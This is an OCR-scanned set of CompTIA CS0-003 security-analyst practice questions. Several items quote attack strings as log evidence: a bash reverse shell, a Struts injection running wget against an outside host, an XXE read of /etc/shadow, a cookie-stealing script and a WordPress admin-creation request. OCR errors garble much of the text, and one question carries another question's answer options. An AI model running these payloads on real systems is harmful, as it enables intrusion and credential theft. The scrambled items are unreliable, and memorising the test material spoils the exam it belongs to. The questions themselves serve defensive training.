C. Purchase an appropriate certificate from a trusted root CA

D. Perform proper sanitization on all fields
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Actual exam question from CompTIA's C50-003
Question #: 67
Topic #: 1

[All CS0-003 Questions]

While reviewing web server logs, an analyst notices several entries with the same time stamps, but all contain odd characters in the request line. Which of the
following steps should be taken next?

A. Shut the network down immediately and call the next person in the chain of command.
B. Determine what attack the odd characters are indicative of.
C. Utilize the correct attack framework and determine what the incident response will consist of.

D. Notify the local law enforcement for incident response.
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Actual exam question from CompTIA's C50-003
Question #: 68
Topic #: 1

[All CS0-003 Questions]

A security team conducts a lessons-learned meeting after struggling to determine who should conduct the next steps following a security event. Which of the
following should the team create to address this issue?

A. Service-level agreement
B. Change management plan
C. Incident response plan

D. Memorandum of understanding
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Actual exam question from CompTIA's C50-003
Question #: 69
Topic #: 1

[All CS0-003 Questions]

A cybersecurity analyst notices unusual network scanning activity coming from a country that the company does not do business with. Which of the following is the
best mitigation technique?

A. Geoblock the offending source country.
B. Block the IP range of the scans at the network firewall.
C. Perform a historical trend analysis and look for similar scanning activity.

D. Block the specific IP address of the scans at the network firewall.
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Actual exam question from CompTIA's CS0-003
Question #: 70

Topic # 1

[All CS0-003 Questions]

An analyst has received an IPS event notification from the SIEM stating an IP address, which is known to be malicious, has attempted to exploit a zero-day vulnerability on
several web servers. The exploit contained the following snippet:

/wp-json/trx_addons/V2/get/sc_layout?sc=wp_insert_user&role=administrator

Which of the following controls would work best to mitigate the attack represented by this snippet?

A. Limit user creation to administrators only.
B. Limit layout creation to administrators only.
C. Set the directory trx_addons to read only for all users.

D. Set the directory V2 to read only for all users.
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Actual exam question from CompTIA's CS0-003
Question #: 71

Topic # 1

[All CS0-003 Questions]

A penetration tester submitted data to a form in a web application, which enabled the penetration tester to retrieve user credentials. Which of the following should be
recommended for remediation of this application vulnerability?

A. Implementing multifactor authentication on the server 0S
B. Hashing user passwords on the web application
C. Performing input validation before allowing submission

D. Segmenting the network between the users and the web server
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Actual exam question from CompTIA's C50-003
Question #: 72
Topic #: 1

[All CS0-003 Questions]

A cybersecurity team lead is developing metrics to present in the weekly executive briefs. Executives are interested in knowing how long it takes to stop the spread
of malware that enters the network. Which of the following metrics should the team lead include in the briefs?

A. Mean time between failures
B. Mean time to detect
C. Mean time to remediate

D. Mean time to contain
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Actual exam question from CompTIA's C50-003
Question #: 73
Topic #: 1

[All CS0-003 Questions]

An employee accessed a website that caused a device to become infected with invasive malware. The incident response analyst has:

- created the initial evidence log.

- disabled the wireless adapter on the device.

- interviewed the employee, who was unable to identify the website that was accessed.
- reviewed the web proxy traffic logs.

Which of the following should the analyst do to remediate the infected device?

A. Update the system firmware and reimage the hardware.
B. Install an additional malware scanner that will send email alerts to the analyst.
C. Configure the system to use a proxy server for Internet access.

D. Delete the user profile and restore data from backup.
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Actual exam question from CompTIA's CS0-003
Question #: 74

Topic # 1

[All CS0-003 Questions]

A cloud team received an alert that unauthorized resources were being auto-provisioned. After investigating, the team suspects that cryptomining is occurring. Which of
the following indicators would most likely lead the team to this conclusion?

A. High GPU utilization
B. Bandwidth consumption
C. Unauthorized changes

D. Unusual traffic spikes
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Actual exam question from CompTIA's C50-003
Question #: 75
Topic #: 1

[All CS0-003 Questions]

A company's security team is updating a section of the reporting policy that pertains to inappropriate use of resources (e.g., an employee who installs cryptominers
on workstations in the office). Besides the security team, which of the following groups should the issue be escalated to first in order to comply with industry best
practices?

A. Help desk
B. Law enforcement
C. Legal department

D. Board member
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Actual exam question from CompTIA's C50-003
Question #: 76
Topic #: 1

[All CS0-003 Questions]

Given the following CVSS string:
CVSS:3.0/AV:N/AC:L/PR:N/UIN/S:U/C:H/I:H/A:H

Which of the following attributes correctly describes this vulnerability?

A. A user is required to exploit this vulnerability.
B. The vulnerability is network based.
C. The vulnerability does not affect confidentiality.

D. The complexity to exploit the vulnerability is high.
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Actual exam question from CompTIA's C50-003
Question #: 77
Topic #: 1

[All CS0-003 Questions]

A cryptocurrency service company is primarily concerned with ensuring the accuracy of the data on one of its systems. A security analyst has been tasked with
prioritizing vulnerabilities for remediation for the system. The analyst will use the following CVS5v3.1 impact metrics for prioritization:

CVSSv3.1 impact
metrics

C:L/IIL/A:L
C:N/l:.L/A:H
C:H/IN/A:N
C:L/I:H/A:L

Vulnerability

BlWIMN] =

Which of the following vulnerabilities should be prioritized for remediation?

Al
B.2
C.3
D. 4
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Actual exam question from CompTIA's C50-003
Question #: 78
Topic #: 1

[All CS0-003 Questions]

Patches for two highly exploited vulnerabilities were released on the same Friday afternoon. Information about the systems and vulnerabilities is shown in the
tables below:

Vulnerability name |Description

inter.drop Remote Code Execution (RCE)

slow.roll Denial of Service (DoS)

System name |Vulnerability Network segment

manning slow.roll internal

brees inter.drop internal

brady inter.drop external

rogers TE'IDW' ol isolated vian
inter.drop

Which of the following should the security analyst prioritize for remediation?

A. rogers
B. brady
C. brees

D. manning
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Actual exam question from CompTIA's CS0-003
Question #: 79

Topic # 1

[All CS0-003 Questions]

A security analyst must preserve a system hard drive that was involved in a litigation request. Which of the following is the best method to ensure the data on the device is
not modified?

A. Generate a hash value and make a backup image.
B. Encrypt the device to ensure confidentiality of the data.
C. Protect the device with a complex password.

D. Perform a memory scan dump to collect residual data
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Actual exam question from CompTIA's CS0-003
Question #: 80

Topic # 1

[All CS0-003 Questions]

Which of the following best describes the goal of a tabletop exercise?

A. To test possible incident scenarios and how to react properly
B. To perform attack exercises to check response effectiveness

C. To understand existing threat actors and how to replicate their techniques

D. To check the effectiveness of the business continuity plan
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Actual exam question from CompTIA's C50-003
Question #: 81
Topic #: 1

[All CS0-003 Questions]

A virtual web server in a server pool was infected with malware after an analyst used the internet to research a system issue. After the server was rebuilt and added
back into the server pool, users reported issues with the website, indicating the site could not be trusted. Which of the following is the most likely cause of the server
issue?

A. The server was configured to use SSL to securely transmit data.
B. The server was supporting weak TLS protocols for client connections.
C. The malware infected all the web servers in the pool.

D. The digital certificate on the web server was self-signed.
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Actual exam question from CompTIA's C50-003
Question #: 82
Topic #: 1

[All CS0-003 Questions]

A zero-day command injection vulnerability was published. A security administrator is analyzing the following logs for evidence of adversaries attempting to exploit
the vulnerability:

Log entry # |Message

comptia.org/${@java.lang.Runtime@getRuntime().exec("nslookup
example.com™)}/

Log entry 1

<script type="text/javascript">var test="../index.php?
cookie data='+escape(document.cookie);</script>

Log entry 3 |example.com/butler.php?id=1 and nullif (1337,1337)

requestObj = ... {scopes: ["Mail. ReadWrite", "Mail.send",
"Files.ReadWrite All"] }

Log entry 2

Log entry 4

Which of the following log entries provides evidence of the attempted exploit?

A. Log entry 1
B. Log entry 2
C.Logentry 3
D. Log entry 4
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Actual exam question from CompTIA's CS0-003
Question #: 83

Topic # 1

[All CS0-003 Questions]

A security analyst needs to ensure that systems across the organization are protected based on the sensitivity of the content each system hosts. The analyst is working
with the respective system owners to help determine the best methodology that seeks to promote confidentiality, availability, and integrity of the data being hosted. Which
of the following should the security analyst perform first to categorize and prioritize the respective systems?

A Interview the users who access these systems.
B. Scan the systems to see which vulnerabilities currently exist.
C. Configure alerts for vendor-specific zero-day exploits.

D. Determine the asset value of each system.
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Actual exam question from CompTIA's CS0-003

[All CS0-003 Questions]

A security analyst is reviewing the following alert that was triggered by FIM on a critical system:

Host

Path

Key added

WEBSERVERO1

HELM\Software\Microsoft\Windows\CurrentVersion\Personalization

Allow (1)

WEBSERVERD1

HELM\Software\MicrosoftiWindows\CurrentVersion\Run

Runie
(“eappdata‘olabc.exe)

WEBSERVERO1

HKCUW\Printers\ConvertUserDeviModesCount

Microsoft XPS Writer
(2)

WEBSERVERO1

HKCU\Network\Z

Remote Path
(192.168.1.10
CorpZ_Drive)

WEBSERWVERO1

HELM\Software\Microsoft\PCHealthCheck

Installed (1)

Which of the following best describes the suspicious activity that is occurring?

A. A fake antivirus program was installed by the user.
B. A network drive was added to allow exfiltration of data.
C. A new program has been set to execute on system start.

D. The host firewall on 192.168.1.10 was disabled.
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Actual exam question from CompTIA's C50-003
Question #: 85
Topic #: 1

[All C50-003 Questions]

Which of the following best describes the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00
a.m.?

A. SLA
B. LOI
C. MOU
D. KPI
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Actual exam question from CompTIA's CS0-003
Question #: 86

Topic # 1

[All CS0-003 Questions]

A cybersecurity analyst is reviewing SIEM logs and observes consistent requests originating from an internal host to a blocklisted external server. Which of the following
best describes the activity that is taking place?

A. Data exfiltration
B. Rogue device
C. Scanning

D. Beaconing
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Actual exam question from CompTIA's CS0-003
Question #: 87

Topic # 1

[All CS0-003 Questions]

An incident response team is working with law enforcement to investigate an active web server compromise. The decision has been made to keep the server running and
to implement compensating controls for a period of time. The web service must be accessible from the internet via the reverse proxy and must connect to a database
server. Which of the following compensating controls will help contain the adversary while meeting the other requirements? (Choose two).

A. Drop the tables on the database server to prevent data exfiltration.

B. Deploy EDR on the web server and the database server to reduce the adversary's capabilities.
C. Stop the httpd service on the web server so that the adversary can not use web exploits.

D. Use microsegmentation to restrict connectivity to/from the web and database servers.

E. Comment out the HTTP account in the /etc/passwd file of the web server.

F Move the database from the database server to the web server.
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Actual exam question from CompTIA's CS0-003
Question #: 88

Topic # 1

[All CS0-003 Questions]

An incident response team member is triaging a Linux server. The output is shown below:

$ cat fetc/passwd

root:x:0:0;::/:/bin/zsh
bin:x:l:1::/:/uar/bin/nologin

dasmon:x:s2:2::/: /usr/bin/nologin
mail:x:8:12::/var/spool/mail: /fusr/bin/nologin
http:x:33:133::/arv/htep: rbin/bash
nobody:x:65534:65534:Nobody: /:/usr/bin/nologin
git:x:972:972:git daemon user:/:/uar/bin/git-shell

§$ ecat /var/log/httpd

at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter (ApplicationFilterChain.java:241)

at org.apache.catalina.core.ApplicationFilterChain.internaDoFilter (ApplicationFilterChain.java:208)

at org.java.util.concurrent.ThreadPoclExecutor.runWorker {ThreadPoolERecutor.java:3le)

at org.java.util.concurrent.ThreadPoclExecutor.runWorker {ThreadPoolExecutor.java:lld42)

WBREN [strutsZ.dispatcher.multipart.JakartaMultiPartRequest] Unable to parse request

container.getInstance. (#wget http://grohl.ve.da/tmp/brkgtr. zip: #whoami)

at org.apache.commons.fileupload.FilelUploadBaseSFileUploadBasesFileltemlteratorImpl.<init>(FileUplcadBase. java:947)
at org.apache.commons.fileupload.FileUpleocadBase.getItemIterator {(FileUploadBase.java:3ig)

at org.apache.strut=2.diaspatcher.multipart.JakartaMultipartRequest.parseReques=t {JakartaMultiPartRequest.java:188)
org.apache.strutsl.dispatcher.multipart.JakartaMultipartRequest.paraaRequest (JakartaMultiPartRequest.java: 423)

Which of the following is the adversary most likely trying to do?

A Create a backdoor root account named zsh.
B. Execute commands through an unsecured service account.
C. Send a beacon to a command-and-control server.

D. Perform a denial-of-service attack on the web server.
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Actual exam question from CompTIA's CS0-003
Question #: 89

Topic # 1

[All CS0-003 Questions]

A SOC analyst identifies the following content while examining the output of a debugger command over a client-server application:
getConnection(database01,"alpha" ,"AxTv.127GdCx94GTd");

Which of the following is the most likely vulnerability in this system?

A. Lack of input validation
B. SQL injection
C. Hard-coded credential

D. Buffer overflow
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Topic # 1

[All CS0-003 Questions]

A technician is analyzing output from a popular network mapping tool for a PCI audit:

PORT STATE SERVICE VERSION

22/tcp open ssah Cisco S5H 1.25 (protocol 2.0)
443/tcp open ssl/http OpenResty web app server

| _http-server-header: openresty

| ssl-enum-ciphers:

| TLSarl. ]

! eiphers:

| TLS_RSA WITH_AES 128 CBC SHA (rsa 2048) - F

| TLS_ECDHE_RSA_WITH_AES_ 128 CBC_SHA (secp25&érl) - F
! compressors:

| NULL

cipher preference: s=erver

| warnings:

| Insecure certificate signature (SHAl), score capped at F
!

|

TLSv1.2:

ciphers:
| TLS ECDHE RSA WITH AES 128 GCM SHA256 (secp256rl) - F
! TLS_ECDHE_RSA WITH_AES 25& GCM_SHA384 (secp2bérl) - F
| TLS_ECDHE _RSA WITH AES 256 CBC_SHA384 (secp2bé6rl) - F

| TLS_RSA_WITH_AES_ 256 CBC_SHA256 (rsa 2048) - F

| TLS_ECDHE_RSA WITH_AES 128 CBC_SHA256 (secp25érl) - F

| TLS RSA WITH AES 256 GCM SHA384 (rsa 2048) - F

| TLS_RSA_WITH AES 128 GCM SHA256 (rsa 2048) - F

TLS RSA_WITH _AES 128 CBC SHA256 (rsa 2048) - F

TLS RSA WITH AES 128 CBC SHA (rsa 2048) - F

TLS ECDHE RSA WITH AES 128 CBC_SHA (secp256rl) - F

compresaoral

| NULL

cipher preference: server

| warnings:

| Insecure certificate signature (SHAl), sacore capped at F

_ least strength: F

MAC Address: MAC ADDRESS (Cisco Systems)

Service Info: 05: 10S; CPE: cpe:/oi:cisco:iocs

Service detection performed. Please report any incorrect results at <REDACTED>.
<REDACTED> done: 1 IP address {1 host up) scanned in 16.47 seconds

Which of the following best describes the output?

A. The host is not up or responding.
B. The host is running excessive cipher suites.

C. The host is allowing insecure cipher suites.

D. The Secure Shell port on this host is closed.
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Actual exam question from CompTIA's CS0-003
Question #: 91

Topic # 1

[All CS0-003 Questions]

A managed security service provider is having difficulty retaining talent due to an increasing workload caused by a client doubling the number of devices connected to the
network. Which of the following would best aid in decreasing the workload without increasing staff?

A. SIEM
B. XDR
C. SOAR
D. EDR
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Actual exam question from CompTIA's CS0-003
Question #: 92

Topic # 1

[All CS0-003 Questions]

An employee is suspected of misusing a company-issued laptop. The employee has been suspended pending an investigation by human resources. Which of the following
is the best step to preserve evidence?

A. Disable the user's network account and access to web resources.
B. Make a copy of the files as a backup on the server.
C. Place a legal hold on the device and the user’s network share.

D. Make a forensic image of the device and create a SHA-1 hash.
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Actual exam question from CompTIA's C50-003
Question #: 93
Topic #: 1

[All CS0-003 Questions]

An analyst receives threat intelligence regarding potential attacks from an actor with seemingly unlimited time and resources. Which of the following best describes
the threat actor attributed to the malicious activity?

A. Insider threat
B. Ransomware group
C. Nation-state

D. Organized crime
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Actual exam question from CompTIA's CS0-003
Question #: 94

Topic # 1

[All CS0-003 Questions]

A systems analyst is limiting user access to system configuration keys and values in a Windows environment. Which of the following describes where the analyst can find
these configuration items?

A. config.ini
B. nids dit
C. Master boot record

D. Registry
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Actual exam question from CompTIA's C50-003
Question #: 95
Topic #: 1

[All CS0-003 Questions]

While reviewing web server logs, a security analyst found the following line:
< IMG SRC="vbscript:msgbox("test")' >

Which of the following malicious activities was attempted?

A. Command injection
B. XML injection
C. Server-side request forgery

D. Cross-site scripting
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Actual exam question from CompTIA's CS0-003
Question #: 96

Topic # 1

[All CS0-003 Questions]

A security analyst at a company called ACME Commercial notices there is outbound traffic to a host IP that resolves to https://office365password.acme.co. The site’s
standard VPN logon page is www.acme.com/logon. Which of the following is most likely true?

A. This is a normal password change URL.
B. The security operations center is performing a routine password audit.
C. A new VPN gateway has been deployed.

D. A social engineering attack is underway.
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Actual exam question from CompTIA's C50-003
Question #: 97
Topic #: 1

[All CS0-003 Questions]

A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, configures the subnets to scan, and beqgins the scan of
the network. Which of the following would be missing from a scan performed with this configuration?

A. Operating system version
B. Reqgistry key values

C. Open ports

D. IP address
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Actual exam question from CompTIA's CS0-003
Question #: 98

Topic # 1

[All CS0-003 Questions]

A security analyst discovers an LF| vulnerability that can be exploited to extract credentials from the underlying host. Which of the following patterns can the security
analyst use to search the web server logs for evidence of exploitation of that particular vulnerability?

A /etc/shadow
B. curl localhost
C., printenv

D. cat /proc/self/
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Actual exam question from CompTIA's CS0-003
Question #: 99

Topic # 1

[All CS0-003 Questions]

A company is in the process of implementing a vulnerability management program. Which of the following scanning methods should be implemented to minimize the risk of
OT/ICS devices malfunctioning due to the vulnerability identification process?

A. Non-credentialed scanning
B. Passive scanning
C. Agent-based scanning

D. Credentialed scanning
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Actual exam question from CompTIA's C50-003
Question #: 100
Topic #: 1

[All CS0-003 Questions]

A company receives a penetration test report summary from a third party. The report summary indicates a proxy has some patches that need to be applied. The
proxy is sitting in a rack and is not being used, as the company has replaced it with a new one. The CVE score of the vulnerability on the proxy is a 9.8. Which of the
following best practices should the company follow with this proxy?

A. Leave the proxy as is.

B. Decomission the proxy.

C. Migrate the proxy to the cloud.
D. Patch the proxy.
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Actual exam question from CompTIA's CS0-003
Question #: 101

Topic # 1

[All CS0-003 Questions]

An analyst is examining events in multiple systems but is having difficulty correlating data points. Which of the following is most likely the issue with the system?

A. Access rights
B. Network segmentation

C. Time synchronization

D. Invalid playbook
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Actual exam question from CompTIA's CS0-003
Question #: 102

Topic # 1

[All CS0-003 Questions]

An analyst recommends that an EDR agent collect the source |P address, make a connection to the firewall, and create a policy to block the malicious source IP address
across the entire network automatically. Which of the following is the best option to help the analyst implement this recommendation?

A. SOAR
B. SIEM
C.SLA
D. loC
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Actual exam question from CompTIA's C50-003
Question #: 103
Topic #: 1

[All CS0-003 Questions]

An end-of-life date was announced for a widely used 05. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the
0S that is approaching the end-of-life date. Which of the following best describes a security analyst’s concern?

A. Any discovered vulnerabilities will not be remediated.
B. An outage of machinery would cost the organization money.
C. Support will not be available for the critical machinery.

D. There are no compensating controls in place for the 0S.

Show Suggested Answer




EXAMTOPICS PRO POPULAR EXAMS VIEW ALL EXAMS DOWNLOAD FREE

COURSES

CONTACT

FORUM

Actual exam question from CompTIA's C50-003
Question #: 104
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[All CS0-003 Questions]

Which of the following describes the best reason for conducting a root cause analysis?

A. The root cause analysis ensures that proper timelines were documented.
B. The root cause analysis allows the incident to be properly documented for reporting.

C. The root cause analysis develops recommendations to improve the process.

D. The root cause analysis identifies the contributing items that facilitated the event.
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Actual exam question from CompTIA's CS0-003
Question #: 105

Topic # 1

[All CS0-003 Questions]

Which of the following concepts is using an AP| to insert bulk access requests from a file into an identity management system an example of?

A. Command and control
B. Data enrichment

C. Automation

D. Single sign-on
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Actual exam question from CompTIA's C50-003
Question #: 106
Topic #: 1

[All CS0-003 Questions]

A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device's operating system.
Which of the following best meets this requirement?

A. SIEM
B. CASB
C. SOAR
D. EDR
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Actual exam question from CompTIA's C50-003
Question #: 107
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[All CS0-003 Questions]

A security analyst identified the following suspicious entry on the host-based IDS logs:

bash -i =& /dev/tcp/10.1.2.3/8080 0>8&1

Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

A. #/bin/bash
nc 10.1.2.3 8080 -vv =dev/null && echo "Malicious activity" || echo "OK"

B. #!/bin/bash
ps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"

C. #/bin/bash
Is fopt/tcp/10.1.2.3/8080 =dev/null && echo "Malicious activity" || echo "OK"

D. #!/bin/bash
netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
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Actual exam question from CompTIA's C50-003
Question #: 108
Topic #: 1

[All CS0-003 Questions]

A company is concerned with finding sensitive file storage locations that are open to the public. The current internal cloud network is flat. Which of the following is
the best solution to secure the network?

A. Implement segmentation with ACLs.

B. Configure logging and monitoring to the SIEM.
C. Deploy MFA to cloud storage locations.

D. Roll out an IDS.
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Actual exam question from CompTIA's C50-003
Question #: 109
Topic #: 1

[All CS0-003 Questions]

A security analyst is reviewing the findings of the latest vulnerability report for a company’s web application. The web application accepts files for a Bash script to be
processed if the files match a given hash. The analyst is able to submit files to the system due to a hash collision. Which of the following should the analyst suggest
to mitigate the vulnerability with the fewest changes to the current script and infrastructure?

A. Deploy a WAF to the front of the application.
B. Replace the current MD5 with SHA-256.
C. Deploy an antivirus application on the hosting system.

D. Replace the MD5 with digital signatures.
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Actual exam question from CompTIA's CS0-003
Question # 110

Topic # 1

[All CS0-003 Questions]

A security analyst needs to mitigate a known, exploited vulnerability related to an attack vector that embeds software through the USB interface. Which of the following
should the analyst do first?

A. Conduct security awareness training on the risks of using unknown and unencrypted USBs.
B. Write a removable media policy that explains that USBs cannot be connected to a company asset.
C. Check configurations to determine whether USB ports are enabled on company assets.

D. Review logs to see whether this exploitable vulnerability has already impacted the company.
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Actual exam question from CompTIA's C50-003
Question #: 111
Topic #: 1

[All CS0-003 Questions]

A systems administrator receives reports of an internet-accessible Linux server that is running very sluggishly. The administrator examines the server, sees a high
amount of memory utilization, and suspects a DoS attack related to half-open TCP sessions consuming memory. Which of the following tools would best help to
prove whether this server was experiencing this behavior?

A. Nmap

B. TCPDump
C. SIEM

D. EDR
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Actual exam question from CompTIA's C50-003
Question #: 112
Topic #: 1

[All CS0-003 Questions]

A security analyst is validating a particular finding that was reported in a web application vulnerability scan to make sure it is not a false positive. The security
analyst uses the snippet below:

<)l==%xml wversion="1.0" ?-->

<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:////etc/shadow">]>
<userInfo>

<firstName>John</firstName>

<lastName>Sent;</lastName>

<fuserInfo>

Which of the following vulnerability types is the security analyst validating?

A. Directory traversal
B. XSS

C. XXE

D. SSRF
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Actual exam question from CompTIA's C50-003
Question #: 113
Topic #: 1

[All CS0-003 Questions]

Which of the following is the most important factor to ensure accurate incident response reporting?

A. A well-defined timeline of the events
B. A guideline for regulatory reporting

C. Logs from the impacted system

D. A well-developed executive summary
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Actual exam question from CompTIA's CS0-003
Question # 114

Topic # 1

[All CS0-003 Questions]

A security analyst is trying to detect connections to a suspicious IP address by collecting the packet captures from the gateway. Which of the following commands should
the security analyst consider running?

A. grep [IP address] packets.pcap
B. cat packets.pcap | grep [IP Address]
C. tepdump -n -r packets pcap host [IP address]

D. strings packets.pcap | grep [IP Address]
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Actual exam question from CompTIA's CS0-003
Question # 115

Topic # 1

[All CS0-003 Questions]

A security analyst reviews the latest vulnerability scans and observes there are vulnerabilities with similar CVSSv3 scores but different base score metrics. Which of the
following attack vectors should the analyst remediate first?

A CVSS3.0/AV:P/ACL/PRL/UEN/SU/CH/IH/AH
B. CVSS:3.0/AVA/ACL/PR:L/ULN/S:.U/C:H/TH/AH
C. CVSS:3.0/AVIN/AC:L/PRL/UEN/S U/CH/H/AH
D. CVSS:3.0/AV:.L/AC.L/PRL/ULN/S:U/C:H/TH/AH
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Actual exam question from CompTIA's CS0-003
Question # 116

Topic # 1

[All CS0-003 Questions]

A security analyst must review a suspicious email to determine its legitimacy. Which of the following should be performed? (Choose two.)

A. Evaluate scoring fields, such as Spam Confidence Level and Bulk Complaint Level
B. Review the headers from the forwarded email

C. Examine the recipient address field

D. Review the Content-Type header

E. Evaluate the HELO or EHLO string of the connecting email server

F Examine the SPF, DKIM, and DMARC fields from the original email
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Actual exam question from CompTIA's C50-003
Question #: 117
Topic #: 1

[All CS0-003 Questions]

A vulnerability analyst received a list of system vulnerabilities and needs to evaluate the relevant impact of the exploits on the business. Given the constraints of
the current sprint, only three can be remediated. Which of the following represents the least impactful risk, given the CV553.1 base scores?

A. AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L - Base Score 6.0
B. AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A'L - Base Score 7.2
C. AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H - Base Score 6.4
D. AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L - Base Score 6.5
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Actual exam question from CompTIA's C50-003
Question #: 118
Topic #: 1

[All CS0-003 Questions]

A recent vulnerability scan resulted in an abnormally large number of critical and high findings that require patching. The SLA requires that the findings be
remediated within a specific amount of time. Which of the following is the best approach to ensure all vulnerabilities are patched in accordance with the SLA?

A. Integrate an IT service delivery ticketing system to track remediation and closure
B. Create a compensating control item until the system can be fully patched
C. Accept the risk and decommission current assets as end of life

D. Request an exception and manually patch each system
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Actual exam question from CompTIA's C50-003
Question #: 119
Topic #: 1

[All CS0-003 Questions]

Which of the following would help an analyst to quickly find out whether the IP address in a SIEM alert is a known-malicious IP address?

A. Join an information sharing and analysis center specific to the company's industry
B. Upload threat intelligence to the IPS in STIX'TAXII format

C. Add data enrichment for IPs in the ingestion pipeline

D. Review threat feeds after viewing the SIEM alert
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Actual exam question from CompTIA's C50-003
Question #: 120
Topic #: 1

[All CS0-003 Questions]

An organization was compromised, and the usernames and passwords of all employees were leaked online. Which of the following best describes the remediation
that could reduce the impact of this situation?

A. Multifactor authentication
B. Password changes
C. System hardening

D. Password encryption
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Actual exam question from CompTIA's CS0-003
Question #: 121

Topic # 1

[All CS0-003 Questions]

A company is deploying new vulnerability scanning software to assess its systems. The current network is highly segmented, and the networking team wants to minimize
the number of unique firewall rules. Which of the following scanning techniques would be most efficient to achieve the objective?

A. Deploy agents on all systems to perform the scans
B. Deploy a central scanner and perform non-credentialed scans
C. Deploy a cloud-based scanner and perform a network scan

D. Deploy a scanner sensor on every segment and perform credentialed scans
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Actual exam question from CompTIA's C50-003
Question #: 122
Topic #: 1

[All CS0-003 Questions]

An organization's email account was compromised by a bad actor. Given the following information:

Time Description

Atotal of 2,000 emails were sent from the compramised
account. The email directed the recipients to pay an
830am invoice Enclosed in the email was a short message,
along with a link and an attachment was contained in
the email

Recipients started alerting the organization's help desk
abaut the email

8585am The help desk escalated the issue to the CSIRT

The IRT was assembled, a call bridge was established
910 am and the Chief Infarmatian Security Cfficer declared an
incident

The web session far the email account was revoked
and password resets were initiated The machine was
investigated further to ensure security controls were in
place.

All sent emails were removed from organization's
Senvers

The CSIRT lewered the priority of the incident and
started to review logs
Passwords were reset for all internal users that clicked
on the link
Continued analysis to determine the impact was
limited
1030 am Besides continued monitoring, the organization

' reasonably believed the threat was remediated

8:45am

915am

930 am

935am

945 am

9:50 am

Which of the following is the length of time the team took to detect the threat?

A. Data masking
B. Hashing
C. Watermarking

D. Encoding
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Actual exam question from CompTIA's C50-003
Question #: 123
Topic #: 1

[All CS0-003 Questions]

A security administrator needs to import Pll data records from the production environment to the test environment for testing purposes. Which of the following would
best protect data confidentiality?

A. Data masking
B. Hashing
C. Watermarking

D. Encoding
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Actual exam question from CompTIA's CS0-003
Question #: 124

Topic # 1

[All CS0-003 Questions]

The email system administrator for an organization configured DKIM signing for all email legitimately sent by the organization. Which of the following would most likely
indicate an email is malicious if the company's domain name is used as both the sender and the recipient?

A. The message fails a DMARC check
B. The sending IP address is the hosting provider
C. The signature does not meet corporate standards

D. The sender and reply address are different
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Actual exam question from CompTIA's C50-003
Question #: 125
Topic #: 1

[All CS0-003 Questions]

During an incident involving phishing, a security analyst needs to find the source of the malicious email. Which of the following techniques would provide the analyst
with this information?

A. Header analysis
B. Packet capture
C. SSL inspection

D. Reverse engineering
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Actual exam question from CompTIA's C50-003
Question #: 126
Topic #: 1

[All CS0-003 Questions]

An analyst wants to ensure that users only leverage web-based software that has been pre-approved by the organization. Which of the following should be deployed?

A. Blocklisting
B. Allowlisting
C. Graylisting

D. Webhooks
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Actual exam question from CompTIA's C50-003
Question #: 127
Topic #: 1

[All CS0-003 Questions]

During a cybersecurity incident, one of the web servers at the perimeter network was affected by ransomware. Which of the following actions should be performed
immediately?

A. Shut down the server.
B. Reimage the server.
C. Quarantine the server.

D. Update the OS to latest version.
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Actual exam question from CompTIA's C50-003
Question #: 128
Topic #: 1

[All CS0-003 Questions]

An organization recently changed its BC and DR plans. Which of the following would best allow for the incident response team to test the changes without any
impact to the business?

A. Perform a tabletop drill based on previously identified incident scenarios.
B. Simulate an incident by shutting down power to the primary data center.
C. Migrate active workloads from the primary data center to the secondary location.

D. Compare the current plan to lessons learned from previous incidents.

Show Suggested Answer




EXAMTOPICS PRO POPULAR EXAMS VIEW ALL EXAMS DOWNLOAD FREE COURSES CONTACT FORUM Q

Actual exam question from CompTIA's CS0-003
Question #: 129

Topic # 1

[All CS0-003 Questions]

Security analysts review logs on multiple servers on a daily basis. Which of the following implementations will give the best central visibility into the events occurring
throughout the corporate environment without logging in to the servers individually?

A. Deploy a database to aggregate the logging
B. Configure the servers to forward logs to a SIEM
C. Share the log directory on each server to allow local access.

D. Automate the emailing of logs to the analysts.
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Actual exam question from CompTIA's CS0-003
Question #: 130

Topic # 1

[All CS0-003 Questions]

Following a recent security incident, the Chief Information Security Officer is concerned with improving visibility and reporting of malicious actors in the environment. The
goal is to reduce the time to prevent lateral movement and potential data exfiltration. Which of the following techniques will best achieve the improvement?

A. Mean time to detect
B. Mean time to respond
C. Mean time to remediate

D. Service-level agreement uptime
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Actual exam question from CompTIA's CS0-003
Question #: 131

Topic # 1

[All CS0-003 Questions]

After identifying a threat, a company has decided to implement a patch management program to remediate vulnerabilities. Which of the following risk management
principles is the company exercising?

A Transfer
B. Accept
C. Mitigate
D. Avoid
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Actual exam question from CompTIA's C50-003
Question #: 132
Topic #: 1

[All CS0-003 Questions]

A security analyst discovers an ongoing ransomware attack while investigating a phishing email. The analyst downloads a copy of the file from the email and
isolates the affected workstation from the network. Which of the following activities should the analyst perform next?

A. Wipe the computer and reinstall software
B. Shut down the email server and quarantine it from the network
C. Acquire a bit-level image of the affected workstation

D. Search for other mail users who have received the same file
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Actual exam question from CompTIA's C50-003
Question #: 133
Topic #: 1

[All CS0-003 Questions]

The security analyst received the monthly vulnerability report. The following findings were included in the report:

« Five of the systems only required a reboot to finalize the patch application
= Two of the servers are running outdated operating systems and cannot be patched

The analyst determines that the only way to ensure these servers cannot be compromised is to isolate them. Which of the following approaches will best minimize
the risk of the outdated servers being compromised?

A. Compensating controls
B. Due diligence
C. Maintenance windows

D. Passive discovery
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Question #: 134
Topic #: 1

[All CS0-003 Questions]

The vulnerability analyst reviews threat intelligence regarding emerging vulnerabilities affecting workstations that are used within the company:

VIEW ALL EXAMS

DOWNLOAD FREE

Which of the following vulnerabilities should the analyst be most concerned about, knowing that end users frequently click on malicious links sent via email?

A. Vulnerability A

B. Vulnerability B

C. Vulnerability C

D. Vulnerability D

Show Suggested Answer

. |User
